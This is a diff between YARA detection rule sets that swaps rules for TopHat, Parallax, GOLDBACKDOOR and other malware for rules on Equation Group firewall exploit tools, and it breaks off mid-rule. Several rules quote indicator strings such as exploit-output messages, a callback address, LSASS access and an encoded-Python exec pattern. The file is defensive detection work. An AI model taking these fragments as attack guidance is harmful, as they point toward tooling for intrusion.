-		uint16(0)==0x5a4d and filesize <7000KB and 1 of them
+		( uint16(0)==0x457f and filesize <3000KB and 1 of ($x*)) or (5 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Tophat_Malware_Jan18_1 : FILE
+rule SIGNATURE_BASE_EQGRP_Implants_Gen1 : FILE
 {
 	meta:
-		description = "Detects malware from TopHat campaign"
+		description = "EQGRP Toolset Firewall"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ec290eee-a21e-548d-b7cc-3e25e7c39d22"
-		date = "2018-01-29"
+		id = "af0a1a2c-0efb-568f-9e80-baee7398fea2"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tophat.yar#L13-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "69a1e1105b28d66203f74e68038efacc926e501e28a73865485adf2fd7fc0ac0"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1170-L1199"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1493f78e74503c367e3c5d8eac32167a7ad34d2435eba00e1f7bf864682e10a5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5c0b253966befd57f4d22548f01116ffa367d027f162514c1b043a747bead596"
-		hash2 = "1f9bca1d5ce5d14d478d32f105b3ab5d15e1c520bde5dfca22324262e84d4eaf"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash8 = "ee3e3487a9582181892e27b4078c5a3cb47bb31fc607634468cc67753f7e61d7"
+		hash9 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
 
 	strings:
-		$s1 = "WINMGMTS:\\\\.\\ROOT\\CIMV2" fullword ascii
-		$s2 = "UENCRYPTION" fullword ascii
-		$s3 = "TEXPORTAPIS" fullword ascii
-		$s4 = "tcustommemorystream" fullword ascii
-		$s5 = "tmemorystream" fullword ascii
-		$s6 = "ExtrasNoteCONSOLEemb" fullword ascii
-		$s7 = "DIALOG INCLUDE" fullword ascii
+		$s1 = "WARNING:  Session may not have been closed!" fullword ascii
+		$s2 = "EXEC Packet Processed" fullword ascii
+		$s3 = "Failed to insert the command into command list." fullword ascii
+		$s4 = "Send_Packet: Trying to send too much data." fullword ascii
+		$s5 = "payloadLength >= MAX_ALLOW_SIZE." fullword ascii
+		$s6 = "Wrong Payload Size" fullword ascii
+		$s7 = "Unknown packet received......" fullword ascii
+		$s8 = "Returned eax = %08x" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="c221006b240b1c993217bd61e5ee31b6" or 6 of them )
+		( uint16(0)==0x457f and filesize <6000KB and (2 of ($s*))) or (5 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Tophat_Malware_Jan18_2 : FILE
+rule SIGNATURE_BASE_EQGRP_Eligiblebombshell_Generic : FILE
 {
 	meta:
-		description = "Auto-generated rule - file e.exe"
+		description = "EQGRP Toolset Firewall - from files eligiblebombshell_1.2.0.1.py, eligiblebombshell_1.2.0.1.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a1b8e477-df8a-5ff4-9108-541a0f082f77"
-		date = "2018-01-29"
-		modified = "2023-01-06"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tophat.yar#L38-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2321e89559363c04ef0e92a9c9e03d11ff27410103b3aaba954b544e33961b2f"
+		id = "7abe53f6-9880-523a-b71f-6e3850047764"
+		date = "2016-08-16"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1201-L1218"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2e13300736f99aff30c7b4f7f0b148d62ecb1e72435a3e15e4f85b30d904ffd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9580d15a06cd59c01c59bca81fa0ca8229f410b264a38538453f7d97bfb315e7"
+		super_rule = 1
+		hash1 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
+		hash2 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
 
 	strings:
-		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" fullword ascii
-		$s2 = "\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\" ascii
-		$s3 = "LError loading dock zone from the stream. Expecting version %d, but found %d." fullword wide
-		$s4 = "WINMGMTS:\\\\.\\ROOT\\CIMV2" fullword ascii
-		$s5 = "UENCRYPTION" fullword ascii
-		$s6 = "TEXPORTAPIS" fullword ascii
+		$s1 = "logging.error(\"       Perhaps you should run with --scan?\")" fullword ascii
+		$s2 = "logging.error(\"ERROR: No entry for ETag [%s] in %s.\" %" fullword ascii
+		$s3 = "\"be supplied\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (pe.imphash()=="f98cebcae832abc3c46e6e296aecfc03" and 5 of them )
+		( filesize <70KB and 2 of ($s*)) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Tophat_BAT : FILE
+rule SIGNATURE_BASE_EQGRP_Ssh_Telnet_29 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file cgen.bat"
+		description = "EQGRP Toolset Firewall - from files ssh.py, telnet.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "81e84f1b-0ee7-530d-91ea-645c0994e68f"
-		date = "2018-01-29"
+		id = "cc6edf63-f7ef-579a-82c5-28e5012561e0"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tophat.yar#L62-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5dc58fa39d8b2aed95b39da575191fe5d10d5dd95b57c320cde8983505e7184f"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1220-L1241"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e93a54f4de089d460bfb966feacc377c0467863f481a210c81970f4909fb3bd8"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f998271c4140caad13f0674a192093092e2a9f7794a7fbbdaa73ae8f2496c387"
-		hash2 = "0fbc6fd653b971c8677aa17ecd2749200a4a563f9dd5409cfb26d320618db3e2"
+		super_rule = 1
+		hash1 = "630d464b1d08c4dfd0bd50552bee2d6a591fb0b5597ecebaa556a3c3d4e0aa4e"
+		hash2 = "07f4c60505f4d5fb5c4a76a8c899d9b63291444a3980d94c06e1d5889ae85482"
 
 	strings:
-		$s1 = "= New-Object IO.MemoryStream(,[Convert]::FromBase64String(\"" ascii
-		$s2 = "goto Start" fullword ascii
-		$s3 = ":Start" fullword ascii
+		$s1 = "received prompt, we're in" fullword ascii
+		$s2 = "failed to login, bad creds, abort" fullword ascii
+		$s3 = "sending command \" + str(n) + \"/\" + str(tot) + \", len \" + str(len(chunk) + " fullword ascii
+		$s4 = "received nat - EPBA: ok, payload: mangled, did not run" fullword ascii
+		$s5 = "no status returned from target, could be an exploit failure, or this is a version where we don't expect a stus return" ascii
+		$s6 = "received arp - EPBA: ok, payload: fail" fullword ascii
+		$s7 = "chopped = string.rstrip(payload, \"\\x0a\")" fullword ascii
 
 	condition:
-		filesize <5KB and all of them
+		( filesize <10KB and 2 of them ) or (3 of them )
 }
-rule SIGNATURE_BASE_Gen_Python_Pyminifier_Encoded_Payload : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Tinyexec : FILE
 {
 	meta:
-		description = "Detects python code encoded by pyminifier. Used by the Machete malware as researched by ESET"
-		author = "John Lambert @JohnLaTwC"
-		id = "d7297e6a-e1c7-57dd-a57f-a3b67face2f3"
-		date = "2019-12-16"
+		description = "EQGRP Toolset Firewall - from files tinyexec"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b783bafd-52e2-59e8-98ab-47de3250415e"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/liftoff/pyminifier"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_python_pyminifier_encoded_payload.yar#L1-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "01df8765ea35db382d1dd67a502bf1d9647d8fe818ec31abff41c7e41c2816c0"
-		hash = "15d201152a9465497a0f9dd6939e48315b358702c5e2a3c506ad436bb8816da7"
-		hash = "ab91f76394ddf866cc0b315d862a19b57ded93be5dfc2dd0a81e6a43d0c5f301"
-		hash = "b67256906d976aafb6071d23d1b3f59a1696f26b25ff4713b9342d41e656dfba"
-		hash = "d5664c70f3543f306f765ea35e22829dbea66aec729e8e11edea9806d0255b7e"
-		hash = "dd2b0e2c2cb8a83574248bda54ce472899b22eb602e8ebecafcce2c4355177fe"
-		hash = "ed76bd136f40a23aeffe0aba02f13b9fea3428c19b715aafa6ea9be91e4006ca"
-		hash = "b454179c13cb4727ae06cc9cd126c3379e2aded5c293af0234ac3312bf9bdad2"
-		logic_hash = "6e744d9404ca476766b217fe808ba6a8cc6cbf09232a69aae6259acd377080a0"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1245-L1258"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "19b8d7e946d72424f81cd48ad4bf8791bf50a4cc146866e55ad501443a8d1e45"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "exec(zlib.decompress(base64.b64decode('eJ"
-		$s2 = "base64" fullword
-		$s3 = "zlib" fullword
+		$s1 = { 73 68 73 74 72 74 61 62 00 2E 74 65 78 74 }
+		$s2 = { 5A 58 55 52 89 E2 55 50 89 E1 }
 
 	condition:
-		filesize <20KB and uint32be(0)==0x696d706f and all of them
+		uint32(0)==0x464c457f and filesize <270 and all of them
 }
-rule SIGNATURE_BASE_Crime_Win32_Parallax_Loader_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Callbacks
 {
 	meta:
-		description = "Detects Parallax Loader"
-		author = "@VK_Intel"
-		id = "5e030b68-3c29-5203-bb4e-f01850bfbbab"
-		date = "2020-02-24"
+		description = "EQGRP Toolset Firewall - Callback addresses"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dd1fbe09-4def-562d-825d-e790dc2c3dd9"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_parallax_rat.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1331e7b69fd9b14b5d2dae45b452b385e48018290d91de33a4f4a5ebcce4805b"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1260-L1272"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "34881cf8f9f29482a1e129f0f61470d4cc3fa6b78b9f6dda25862371896deca7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "829fce14ac8b9ad293076c16a1750502c6b303123c9bd0fb17c1772330577d65"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$main_call = { 68 81 85 50 00 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 00 10 00 00 68 b0 a2 00 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 8c e1 4f 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 0c 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 40 84 50 00 8d ?? ?? ?? ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c}
-		$decoder_call = { 55 8b ec 83 c4 f8 33 c0 89 ?? ?? 33 d2 89 ?? ?? 8b ?? ?? 3b ?? ?? 7d ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 33 ?? ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 ?? 33 d2 89 ?? ?? eb ?? ff ?? ?? ff ?? ?? 8b ?? ?? 3b ?? ?? 7c ?? 59 59 5d c3}
+		$s1 = "30.40.50.60:9342" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 2 of them
+		1 of them
 }
-rule SIGNATURE_BASE_Crime_Win32_Parallax_Payload_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Extrabacon_Output
 {
 	meta:
-		description = "Detects Parallax Injected Payload v1.01"
-		author = "@VK_Intel"
-		id = "f3a23a28-e322-59ff-85e0-72e44def5c02"
-		date = "2020-02-24"
+		description = "EQGRP Toolset Firewall - Extrabacon exploit output"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b2070ed7-e95a-534a-8f27-63c5ca9251b4"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_parallax_rat.yar#L20-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a1718d7caea5bd6741dd39fc16f955e1d3c73a282d51eda5b63c3352404529e"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1274-L1290"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e71a4380dd30e68d89add1718976d3207a161d2d61fd4c3250fc4b10a0f53a0"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "20d0be64a0e0c2e96729143d41b334603f5d3af3838a458b0627af390ae33fbc"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$zwdelay_prologue = { 66 ?? ?? ?? 66 83 c1 01 66 ?? ?? ?? 50 b8 cb cb cb cb 89 ?? ?? ?? ?? ?? 58 8b ?? ?? ?? ?? ?? 89 ?? ?? 68 88 13 00 00 8b ?? ?? 8b ?? ?? 51 e8 ?? ?? ?? ??}
-		$wininet_call = { b8 77 00 00 00 66 ?? ?? ?? b9 69 00 00 00 66 ?? ?? ?? ba 6e 00 00 00 66 ?? ?? ?? b8 69 00 00 00 66 ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ba 65 00 00 00 66 ?? ?? ?? b8 74 00 00 00 66 ?? ?? ?? 33 c9 66 ?? ?? ?? 8d ?? ?? 52 8b ?? ?? 8b ?? ?? ff d1 89 ?? ?? 6a 00 68 0c fc e5 f2 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 3d a8 16 da 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 e0 05 65 01 8b ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 f5 98 c0 6c 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 24 1d 19 e5 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 a8 ed f2 ce 8b ?? ?? 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 6a 00 ff ?? ?? 85 c0 75 ?? 68 88 13 00 00 ff ?? ?? eb ?? 6a 00 68 00 01 00 04 6a }
-		$rand_png_call = { b8 25 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 78 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 2e 00 00 00 66 ?? ?? ?? ?? ?? ?? b8 70 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 67 00 00 00 66 ?? ?? ?? ?? ?? ?? 33 c0 66 ?? ?? ?? ?? ?? ?? 6a 64 6a 40 8b ?? ?? 8b ?? ?? ff d2 89 ?? ?? 8b ?? ?? 50 68 00 e1 f5 05 68 10 27 00 00 e8 ?? ?? ?? ??}
+		$s1 = "|###[ SNMPresponse ]###" fullword ascii
+		$s2 = "[+] generating exploit for exec mode pass-disable" fullword ascii
+		$s3 = "[+] building payload for mode pass-disable" fullword ascii
+		$s4 = "[+] Executing:  extrabacon" fullword ascii
+		$s5 = "appended AAAADMINAUTH_ENABLE payload" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 2 of them
+		2 of them
 }
-rule SIGNATURE_BASE_EXT_NK_GOLDBACKDOOR_Inital_Shellcode
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Unique_Strings
 {
 	meta:
-		description = "Detection for initial shellcode loader used to deploy GOLDBACDOOR"
-		author = "Silas Cutler (silas@Stairwell.com)"
-		id = "daab8e54-11b3-51cc-8bee-55b078f3e791"
-		date = "2022-04-21"
+		description = "EQGRP Toolset Firewall - Unique strings"
+		author = "Florian Roth (Nextron Systems)"
+		id = "08f5f1e3-ce4e-54ef-922f-50446edfcd70"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_goldbackdoor.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4df97181037a580098dbe34d3b6ceab5c7b83932f1831c36ee99876a8f1524f9"
-		score = 80
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1292-L1305"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "070358ec9cccb5d9daa4e5a016d4f9a988b600d675484f06dc9a897cadf7af0c"
+		score = 75
 		quality = 85
 		tags = ""
-		version = "0.1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45
-              CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F
-              67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 }
-		$ = { 51 50 57 56 B9 E6 8E 85 35 E8 ?? ?? ?? ?? FF D0 }
-		$ = { 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ?? ?? ?? ?? FF D0}
+		$s1 = "/BananaGlee/ELIGIBLEBOMB" ascii
+		$s2 = "Protocol must be either http or https (Ex: https://1.2.3.4:1234)"
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_EXT_NK_GOLDBACKDOOR_Injected_Shellcode
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_RC5_RC6_Opcode
 {
 	meta:
-		description = "Detection for injected shellcode that decodes GOLDBACKDOOR"
-		author = "Silas Cutler (silas@Stairwell.com)"
-		id = "aa921f01-98cc-51ab-877a-e7beede77e36"
-		date = "2022-04-21"
+		description = "EQGRP Toolset Firewall - RC5 / RC6 opcode"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b12a1a2c-8d32-5318-a658-6aa1a08c3263"
+		date = "2016-08-17"
 		modified = "2023-12-05"
-		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_goldbackdoor.yar#L22-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b45f408c0f342591e66ef0dfcfc1c09f8558c5e8f4bd7f824b30f00d531c7511"
-		score = 80
+		reference = "https://securelist.com/blog/incidents/75812/the-equation-giveaway/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1307-L1326"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a79208c5924e1d5cc9db922f80403514e516eadb725393c1ebc9a6236ca90b98"
+		score = 75
 		quality = 85
 		tags = ""
-		version = "0.1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$dec_routine = { 8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83 EE 01 75 F8 5E 57 }
-		$rtlfillmemory_load = { B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0 }
-		$ = "StartModule"
-		$log_file_name = { C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C
-                           61 70 50 B9 BD 88 17 75 C7 44 24 4C 70 64 61 74 C7 44 24
-                           50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C
-                           64 32 C7 44 24 5C 2E 74 78 74 }
-		$ = { B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 }
+		$s1 = { 8B 74 91 FC 81 EE 47 86 C8 61 89 34 91 42 83 FA 2B }
 
 	condition:
-		3 of them
+		1 of them
 }
-rule SIGNATURE_BASE_EXT_NK_GOLDBACKDOOR_Generic_Shellcode
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Modifyaudit_Implant : FILE
 {
 	meta:
-		description = "Generic detection for shellcode used to drop GOLDBACKDOOR"
-		author = "Silas Cutler (silas@Stairwell.com)"
-		id = "70081d63-0b26-5358-8444-5adc3a44aaa0"
-		date = "2022-04-21"
+		description = "EquationGroup Malware - file modifyAudit_Implant.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0321f6c0-2250-5991-a1d9-f0598e13c665"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_goldbackdoor.yar#L44-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e046a70b1dee020ba73d960a9d91daaccd0b5c262965c8647f608c5c83a28257"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1337-L1353"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec8b54f3489b1eeef491b03641805e0e4db0b5cbbb67a3ae3d37dad184f54b01"
 		score = 75
 		quality = 85
-		tags = ""
-		version = "0.1"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b7902809a15c4c3864a14f009768693c66f9e9234204b873d29a87f4c3009a50"
 
 	strings:
-		$ = { B9 8E 8A DD 8D 8B F0 E8 ?? ?? ?? ?? FF D0 }
-		$ = { B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ?? ?? ?? ?? FF D0 }
+		$s1 = "LSASS.EXE" fullword wide
+		$s2 = "hNtQueryInformationProcess" fullword ascii
+		$s3 = "hZwOpenProcess" fullword ascii
+		$s4 = ".?AVFeFinallyFailure@@" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <90KB and ( all of ($s*))) or ( all of them )
 }
-rule SIGNATURE_BASE_SUSP_SFX_Runprogram_Wscript : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Modifyaudit_Lp : FILE
 {
 	meta:
-		description = "Detects suspicious SFX that runs wscript.exe"
+		description = "EquationGroup Malware - file modifyAudit_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e12cea50-a939-5f69-963c-d6d1cb133e92"
-		date = "2018-09-27"
+		id = "9dcfa774-0048-5bd9-ba7d-87bbdff9567a"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_sfx.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d00d83d4b25d80d0ca44fe1c3f3cd33ae5539d2d79c84bfdfcc470669d4f78c"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1355-L1372"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
